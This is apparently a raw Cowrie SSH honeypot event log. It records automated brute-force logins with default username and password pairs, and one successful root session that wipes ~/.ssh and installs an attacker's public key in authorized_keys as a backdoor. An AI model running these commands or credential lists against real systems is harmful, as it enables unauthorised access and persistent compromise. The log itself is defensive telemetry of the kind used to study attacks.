{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:08.582065Z","src_ip":"101.44.96.62","session":"a6d3f70e6524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:08.587246Z","src_ip":"101.44.96.62","session":"a6d3f70e6524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41222,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3214c623e5","protocol":"ssh","message":"New connection: 101.44.96.62:41222 (159.203.135.109:22) [session: df3214c623e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:20.452763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:20.456925Z","src_ip":"101.44.96.62","session":"df3214c623e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:20.674060Z","src_ip":"101.44.96.62","session":"df3214c623e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:21.324564Z","src_ip":"101.44.96.62","session":"df3214c623e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:22.544213Z","src_ip":"101.44.96.62","session":"df3214c623e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38186,"dst_ip":"159.203.135.109","dst_port":22,"session":"335e5f0a37ea","protocol":"ssh","message":"New connection: 101.44.96.62:38186 (159.203.135.109:22) [session: 335e5f0a37ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:33.941155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:33.945964Z","src_ip":"101.44.96.62","session":"335e5f0a37ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:34.164506Z","src_ip":"101.44.96.62","session":"335e5f0a37ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:34.813830Z","src_ip":"101.44.96.62","session":"335e5f0a37ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:36.032526Z","src_ip":"101.44.96.62","session":"335e5f0a37ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":37238,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2da22183881","protocol":"ssh","message":"New connection: 101.44.96.62:37238 (159.203.135.109:22) [session: c2da22183881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:47.363489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:47.367301Z","src_ip":"101.44.96.62","session":"c2da22183881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:47.583427Z","src_ip":"101.44.96.62","session":"c2da22183881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:48.232753Z","src_ip":"101.44.96.62","session":"c2da22183881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:49.451455Z","src_ip":"101.44.96.62","session":"c2da22183881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47064,"dst_ip":"159.203.135.109","dst_port":22,"session":"edc1f7d31c4e","protocol":"ssh","message":"New connection: 101.44.96.62:47064 (159.203.135.109:22) [session: edc1f7d31c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:00.860112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:00.867446Z","src_ip":"101.44.96.62","session":"edc1f7d31c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:01.082222Z","src_ip":"101.44.96.62","session":"edc1f7d31c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:01.726023Z","src_ip":"101.44.96.62","session":"edc1f7d31c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:02.968762Z","src_ip":"101.44.96.62","session":"edc1f7d31c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.170.248.221","src_port":45430,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a993e7d586","protocol":"ssh","message":"New connection: 81.170.248.221:45430 (159.203.135.109:22) [session: 63a993e7d586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:12.999747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:13.004358Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:13.114355Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"lcf","message":"login attempt [root/lcf] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:13.585994Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:13.832244Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:13.835437Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:13.839300Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:13.952096Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.324017Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.326714Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54054,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f622b1b628e","protocol":"ssh","message":"New connection: 101.44.96.62:54054 (159.203.135.109:22) [session: 4f622b1b628e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.345602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.349896Z","src_ip":"101.44.96.62","session":"4f622b1b628e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.440188Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.443618Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.170.248.221","src_port":45434,"dst_ip":"159.203.135.109","dst_port":22,"session":"159f68c9706b","protocol":"ssh","message":"New connection: 81.170.248.221:45434 (159.203.135.109:22) [session: 159f68c9706b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.545897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.550430Z","src_ip":"81.170.248.221","session":"159f68c9706b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.566021Z","src_ip":"101.44.96.62","session":"4f622b1b628e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:14.660956Z","src_ip":"81.170.248.221","session":"159f68c9706b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:15.132591Z","src_ip":"81.170.248.221","session":"159f68c9706b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:15.218567Z","src_ip":"101.44.96.62","session":"4f622b1b628e","protocol":"ssh"}
